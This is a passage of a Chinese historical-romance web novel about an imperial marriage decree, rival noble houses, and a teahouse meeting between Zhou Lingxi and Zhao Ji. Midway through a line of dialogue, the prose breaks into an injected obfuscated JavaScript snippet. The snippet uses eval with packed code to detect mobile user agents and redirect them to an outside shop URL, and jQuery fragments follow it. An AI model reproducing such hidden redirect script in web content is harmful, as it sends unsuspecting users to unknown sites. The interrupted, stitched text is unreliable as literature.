贴身服侍皇上的荣给事突然到访，周俨携妻亲迎。
“内给事前来，可是陛下有何吩咐？”
荣善笑眯眯道：“周尚书，喜事。周小娘子可在？”
夫妇二人相视，转首吩咐婢女去唤周令晞。
待主角到场，荣善这才宣敕：“奉敕：兵部尚书嫡女周氏令晞秉性温良，持躬谨饬；嗣泾王世子赵霁文武兼资，履道端方。朕观二人年齿相若，桃夭斯至。宜时相过从，同游共览，以广见闻。俟情谊既笃，朕当亲为主婚。”
周家上下皆是晕头转向，被皇上的口敕砸懵，迟迟未能缓神。
荣善看在眼中，有意清了清嗓子：“周小娘子，可莫要辜负陛下一番美意。”
后知后觉，听到荣善的提醒，周令晞才怔怔道：“臣女领旨，谢陛下隆恩。”
心底风起云涌，周俨绞尽脑汁，百思不得其解。为何？为何陛下会突然“指婚”。难道是他给幺女相看太频引得陛下关注，以为他周家女恨嫁？
放衙归家的周承之、周秉之、周廉之也分坐在正堂两侧，或垂眸，或仰首思考。
“是不是永济赈灾，小妹与世子曾有交集，故陛下有意撮合。”周秉之说道。
周令晞本就惶恐，她也并非没想过，就因自己偶发奇思离京躲清闲，便引来了麻烦。现下听周秉之分析，不禁双眸湿润。
“你哭什么呀？”周廉之皱眉，“就算世子并非良人，总比谢知玉强吧。”
不提谢知玉倒还好，心上人未留一字便消失不见，周令晞强按着伤心，为他向亲眷说尽好话，如今更是难过。嘴角一撇，直接抽噎出声。
周夫人瞪了周廉之一眼，责备他现下不该口无遮拦。
周廉之摊开手耸肩，表示他也很无措。
“或许，陛下是听了京中传闻。”周承之沉声。
众人皆望向他。
“令晞可以嫁谢家，但兵部尚书之女，嫁不得安国公之子。”周承之道出关键。
皇上预许嗣泾王世子和兵部尚书嫡女婚约的消息，不胫而走。自然也飞入了安国公府和皇后耳中。
谢擎眸光一凛，舆论源者谁，此时倒也猜出。
谢周若结秦晋之好，恐触天家之忌。是抢在长子陈情前，先冷他夫妇二人的舐犊之心。
次女之策，不在君意，实先防其兄难辨时局。幼年藏拙，如今更是心思深重。但，慧极必伤。
严肃的面庞有一丝裂隙，谢擎闭眸。是谢家让她忧勤惕厉，不见欢颜。
两女只差一岁，又有长子要照料，林夫人无力兼顾，便把刚出生的谢良玉送到了徐老夫人院中。
徐老夫人威严，谢知玉、谢华玉惧怕她，只匆匆问安，并不久待。至于长在祖母膝下的妹妹，二人少见，更是不熟识。在他们心中，谢良玉还不如随侍的僮仆、婢女亲近。
待谢良玉开蒙，两人与她的接触才多了起来。但谢良玉到底是没和他们一起长大，他俩关系亲密，谢良玉倒像个外人。有意无意的排挤，令六岁的谢良玉认清了自己的多余。
可是，两个谢知玉、谢华玉也比不上一个谢良玉。谢良玉才是真正的智者，君子在忍，明哲保身。
谢擎曾见诗书满腹，骑射俱佳的女子。她一身晴光，满骨倔强，生在军营，长于旷野。她是边境的太阳，荒漠的春光。
明德十五年，敌军突袭。危急关头，她主动请缨，护住了后方粮草，保住了边关将士。而她，他的妹妹谢筝，十六岁，死在了大乾边境。
卸去钗环，谢良玉注视着铜镜中的女子。
天子弄权，臣者何避。
兵部尚书管大乾军政，而安国公手握大乾二十万兵力，且兵部尚书次子和安国公长子皆为武将。兵部尚书长子，更是三十二岁便任正五品上给事中，三子也于刑部任职。
且不论安国公府还出了个当朝皇后。
两家联姻，你置天子于何地。
就差把“反”写在脸上了。
口敕虽未直言，貌似还有转圜余地，实则只能朝着指定方向走。嗣泾王世子、兵部尚书嫡女婚事不成，便是驳天子颜面。
既是隐患，就应铲除。赵渊早已觉察，无非是窥伺的时间久些罢了。
皇上的软刀子，也只是杀了周家一个措手不及。安国公府若真为儿女情长蹚这浑水，便不会是百年勋贵了。
赵渊收到察子密报。
金堰邗水附近农户，于田中发现大量青灰色淤泥，与本地沃土判若两物，上报里正。经探查，翊王府翻修佛堂为幌，实则秘修暗道。佛像背后墙壁藏有通往地底暗门，佛台座下设机关。暗道连接废弃暗渠，直通城外邗水旁水磨坊。
将信凑近烛火，眼见字迹燎为灰烬，这才扔进香炉。指尖灼红，帝王仿若不知，神色未动。他的这位好皇叔，终究还是坐不住了。
赵霁下帖，清风楼上了新戏，邀周令晞出门。
板着脸将名帖扣桌上，转身走到书案前。铺开麻纸，提笔，却见砚台里无墨，气恼地将紫毫笔扔到一旁。拔下发间的玉兰花簪，周令晞长久凝视。下定了决心，唤婢女给她梳妆。
赵霁倒是没有上门接她，约周令晞包厢见面。
石榴红的身影停在珠帘外，赵霁本以为是过路食客确认包厢，没想到戴了七八个金银臂钏的手拨帘而入。
几月未见，周令晞的装扮倒是浮夸了。似血的口脂，浓艳的胭脂，满头的珠翠，仿佛她才是那个来唱戏的。
见赵霁愣住，周令晞稍放下心，故意捏着嗓子：“世子，令晞来晚了。”
到底是见过大世面，赵霁立刻神色恢复如常，含笑起身。“戏未开场，便不算晚，”伸臂，“周小娘子请。”
入座，抬手拂过鬓间，语调矫揉造作：“永济素衣陋食实在迫不得已，还是京城富贵繁华令人舒心。”
赵霁想笑，但嘴角扬了下他又忍住了，温声道：“诚然，我与周小娘子不谋而合。”
娇媚的表情倏然僵住，周令晞不信邪，又上强度：“父亲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17818661|211070||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
说我阙于妇功、文墨不通，偏要一生一代一双人，实为妄想。世子以为呢？”
“女子从一而终，男子三妻四妾，古往今来皆是如此。”
听到赵霁的回复，周令晞心中隐隐激动。只与一人共白首，世间男子多是无法接受，像她父亲虽敬重发妻，却仍有两房妾室。
“但此所愿，不过同凡庶。一妻相守，贵胄亦非不可。”赵霁颔首，确是认真思考了，打破周令晞的期盼。
难以置信。手攥紧衣裙，周令晞向前探身，破音急促道：“世子也能接受？”
赵霁双眸澄澈，神情坦然：“这有何难。”
“那，嗣泾王会允？”
“娶妻纳妾，不过为续香火。我为长子，下有诸弟。纵妻无子，爵位亦不失所承。”
只觉心若泣血，一口气堵在胸口，硬是噎得周令晞吐不出半个字。
自是早便看穿了周令晞的意图，赵霁谅解，但也笑其过甚。
正色，转首望向楼下大堂，沉眸勾唇：“周小娘子，戏开场了。”
后宫，郑美人冬日放纸鸢的笑话传了月余，终于在腊日消停了。妃嫔、京城内外的文官武将，皆收到了皇帝赏赐的口脂面药。
皇恩浩荡，君心望臣子身体健康，免受严寒苦。而向来生龙活虎的杜婕妤，却在祈福的节令病了。
病来如山倒。本只是咳嗽，轻微发热，用了几日汤药却未好转。竟是烧得更严重了，都昏迷说起了胡话。
身为后宫之主，谢良玉自然得去沁芳院探望。
皇后两脚刚踏进长春宫，妃嫔们便接踵而至。杜婕妤的内寝本也算宽敞，此刻倒是拥挤得快站不下人。
杜婕妤躺在卧床上，高烧仍旧，宫人才给她拭去额间的汗水，转眼又有汗珠浸了出来。
“婕妤嫌烧炭闷热，便命奴婢给窗户留缝，太医说是夜里受了风。”名叫宝莲的宫人垂首，生怕皇后责怪。
谢良玉对她有印象，杜婕妤贴身的宫人。年纪不大，瞧上去唯唯诺诺，与杜婕妤的性子截然不同。本就不算她失责，却仍旧小心翼翼，可见没少受杜婕妤磋磨。
妃嫔应是没有真心来探视的，只是见皇后来了，便跟着来了。
“既是用了汤药，为何迟迟不好？”李昭仪问道。
“太医说婕妤伤风遇上月事，血室空虚，这才不见好转。昨日已经修改了药方。”
“仔细照顾杜婕妤，若有何难处，只管来凤仪宫寻我。”谢良玉淡漠发话。
宝莲不敢抬首，自是瞧不见谢良玉的神情。单听字句，只觉得心中暖热。皇后如此宽厚仁慈，能在凤仪宫任职当差，得是多大的福分。
临出门，谢良玉瞧见了角落的姜美人。
杜婕妤病了几日，姜美人便过来侍疾了几日。同住在长春宫，任外人看是她俩情谊深厚。但谢良玉倒觉得，全因一个“惧”字。
雪中送炭是恩，锦上添花是攀。床前不表忠心，愈后趋炎附势，惹人生厌为真，推心置腹莫求。